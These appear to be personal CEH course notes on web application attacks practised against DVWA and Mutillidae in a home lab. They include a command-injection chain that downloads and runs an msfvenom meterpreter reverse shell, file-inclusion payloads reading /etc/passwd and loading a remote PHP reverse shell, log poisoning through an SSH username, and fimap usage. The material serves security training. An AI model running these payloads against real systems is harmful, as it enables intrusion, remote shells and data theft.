**CEH Notes Day-13 (28/12/2019)**

Web Application Attacks

Will be performed on DVWA(damn vulnerable web application), by default installed and configured in your metasploitable host.

login with credentials

admin:password

set security level to low

DVWA security -> low -> submit

1. command execution

2. file upload

3. parameter tampering

4. file inclusion

5. XSS

6. CSRF

7. Brute force on web forms(using hydra)

command execution:

4.2.2.2 && pwd && id && hostname

msfvenom -p linux/x86/meterpreter/reverse\_tcp LHOST=192.168.0.102 LPORT=443 -f elf -o /root/Desktop/sss.elf

4.2.2.2 && wget 192.168.0.161/sss.elf && chmod +x sss.elf && ls -l && ./sss.elf

Explore - DVWA security High for command exec

Mitigation - Input Validation - All input is evil

File upload:

1.taking any file irrespective of file type

2.showing the file path as where it is uploaded

3.keeping the same file name

http://192.168.1.4/dvwa/hackable/uploads/

DVWA file upload exploit\_php - notes available

magic bytes - To find file type using its unique signature

Intercepting Proxy Tool - Burp Suite

To intercept the communication in between client and server

proxy - manual

http://burp/

certificates - download and import into Authorities tab

Explore - Encode vs Encryption

ODAwMDAyflNhdmluZ3N+MTE2NjYuNDJ8ODAwMDAzfkNoZWNraW5nfjI3NDA0LjM5fDQ1MzkwODIwMzkzOTYyODh+Q3JlZGl0IENhcmR+MTAwLjQyfA==

800002~Savings~11666.42|800003~Checking~27404.39|4539082039396288~Credit Card~100.42|

Parameter Tampering:

It is used to modify the parameter using interceptor where server side validation is not performed and only client side validation is performed.

Local File inclusion Bug:

http://192.168.1.4/mutillidae/index.php?page=/etc/passwd

Remote File inclusion Bug:

http://192.168.1.4/mutillidae/index.php?page=http://www.google.com

<http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet>

http://192.168.1.4/mutillidae/index.php?page=http://192.168.1.22/php-reverse-shell.php

Log poisoning

<https://evi1us3r.wordpress.com/lfi-cheat-sheet/>

%00 - Null byte - Bad character

inurl:/etc/passwd%00

http://192.168.1.16/mutillidae/index.php?page=/var/log/auth.log

ssh '<?php phpinfo(); ?>'@192.168.1.16

LFI to shell video - Manual by using log files

fimap - Tool used to exploit file inclusion vulnerability automatically

fimap -s -u http://192.168.1.16/mutillidae/index.php?page=arbitrary-file-inclusion.php

fimap -x